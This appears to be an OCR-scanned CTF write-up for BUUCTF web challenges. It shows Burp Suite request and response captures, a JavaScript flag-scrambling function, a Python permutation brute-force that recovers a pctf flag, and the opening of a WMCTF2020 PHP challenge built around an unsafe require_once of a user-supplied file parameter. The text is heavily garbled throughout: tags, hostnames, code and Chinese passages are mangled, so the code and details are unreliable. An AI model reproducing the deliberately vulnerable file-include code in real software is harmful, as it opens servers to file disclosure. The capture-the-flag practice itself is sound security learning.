<!DOCTYFE html>
<html>
<hesad>
<title>
Welcome to Earth
</title>
2 <script sre="/static/js/open sesame.js">
</ script>
3 </head>
4 <body>

:.D {@} |E| |E| | Search... \

[T =]

Pretty JEEIVEM Hex  \n =

1 GET /staticfjsf’open_sesame.jIE/ HTTE/1.1

Host: ZeacSefi-abbi-4434-01cf-008LE£285217=. node4.buuo]j.cn

Upgrade-Insecure-Requests: 1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 sSafari/537.3¢

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Beferer: http://leacSeff-abb8-4434-81cf-88LE£2095217= . noded . buuo]j.cn/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: UM distinctid=17a70c4eh712 le-00bkbdfafeld525-6373264-144000-17a70cdeb72dad

10 Connection: close

(%)

(LT

o

|

oo

[

@{E}} ‘E”E| | Search... 0 mat
Response

Raw Hex Render \n =

7 Cache-Contrel: max-age=2592000

S Etag: "1584785630.0-202-546638557"

S BExpires: Sat, 07 Aug I021 06:39:28 GMT

10 Last-Modified: Sat, 21 Mar 2020 13:00:39 GMT

1z function sleepims) |
13 return new Promise (resolve => setTimeout (resolve, ms));
14 '}

1¢ function open(i) {



17 slespil) .thenii) == {
8 openii + 1);

g }

)i

if (i == 4000000000) window.location = "/fight/";

} \
@@ (€))[seorer- " 0 mat

Done

[T

(S

Pretty IGEINE Hex \n =

GET /fight/ HTTP/L.1

Host: ZeacSeff-abbi-4434-8 lcf-88bLEf£f285217e . noded.bunuoj.cn

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 [(Windows NT 10.0; WinE4; x&4) AppleWebKit/537.3F (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=h3;q=0.9
Beferer: http://2eacS=ff-abb0-4434-01cf-88bLff295217=.nod=4.buucy.cn/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.09

Cookie: UM distinctid=17a70c4eb7121c-00bb4£fafe8d525-6373264-144000-17a70c4eh724ad

10 Connection: close

I T TS RV

o m

@ @ |E| |E| | search.. 0 match
Response

Raw Hex Render \n =

HTTP/1.1 200 OK

Server: openresty

Date: Thu, 0B Jul 2021 O&:4Z2:3& GMT
Content-Type: text/html; charsst=utf-B
Content-Length: 394

Connesction: close

[T TR

g o

<!DOCTYPE html>
<html>
<hsad>
<title>
Welcome to Earth
</title>
12 <script sre="/static/js/fight.js">

</script>
13 </h=ad>

14 <body>
P2 ¥ i N | SN | R T oA

-
= oo om

Kequest

Pretty jEY Hex \n =

GET /static/js/fight.js/ HTTE/L.1

Z Host: Zeachefb-abbi-4434-01lcf-8BbE£2952172 . node4 . bunoj.cn
F = Upgrade-Insecure-Requests: L
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wink4; x£4) AppleWsbKit/537.3F (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
q - Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchangs;v=b3;c=0.9
‘ & Referer: http://leac5eff-abbd-4434-81lcf-88bff285217=. noded . buuoj.cn/
7 Accept-Encoding: gzip, deflate
o 2 Accept-Language: zh-CN, zh;=0.9
| @ Cookie: UM distinctid=17a70c4eb7121le-00bh4fafelfdi25-6373264-144000-17a70c4ekb724ad
®10 Connection: close

@@ () [seorr 0n
¥ Response

! Raw Hex Render \n =

Lo srvunsuLe. Loy BCLamLE LAy, dcLlon) )
14 function scrambls(flag, key) {
15 for (var i = 0;

i < key.length;

it+) |
16 let n = key.charCodeAtii) % flag.length;
17 let temp = flag[i];

8 flag[i] = flag[n];
flag[n] = temp;
}

return flag;




¢ function check _actioni() {
var action = document.getElementById("action"”).value;
var flag = ["{hey", "_boy", "aaaa", "s_iwn", "ck!}", "_baa", "azaa", "pcti"];

@& () oo on

J Done

from itertools import permutations

flag

item permutations(flag)
for i in item
k .join(list(i))
if k.startswith(
print(k)

itertools
5 Project ~ D = - & — | i mainpy
& - pythonProject8 D:\pythonProjects from itertools import permutations 4 ¥4 A v
L] > venv

4 flag.bxt flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aasa", "pctf"]

= main.py

>l External Libraries item = permutations(flag)
Scratches and Consoles for i in item:
K = '"'".join(Llist(i))
if k.startswith('petf{hey_boys') and k[-1] == '}':
print(k)
Run: main g —

i; > C:\Users\2214347255\AppData\Local\Programs\Python\Python39\python.exe D:/pythonProject8/main.py
B y’ pctf{hey_boys_imaaaa_baaaaaack!}
a
.: = pctf{hey_boys_imaaaaaaaa_baack!'}

@ pctf{hey_boys_im_baaaaaaaaaack!}
5 - 1 tf{hey_b im_b k!
g petfihey_boys_im_baaaaaasaaack!} © PyCharm 2021.1.3 available
E - pctf{hey,boys,lmaaaaaaaa,baack!}| Ve
= ate...
# #  pctf{hey_boys_imaaaa_baaaaaack!} 7

[WMCTF2020]Make PHP Great Again 2.0

<Yphp

highlight file( FILE J:

require_once  flagz.php

if(isset(3_GET[ £file’ 100 |
require_once 3 _GET[ file'];

iX B T require_once R BB & —K
FATX B HPHP R HThR /N Trick, require_once B & M FEE EHK £ oncefhashILic & B R MEREZ G
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https://www.cnblogs.com/hello-py/articles/13508359.html
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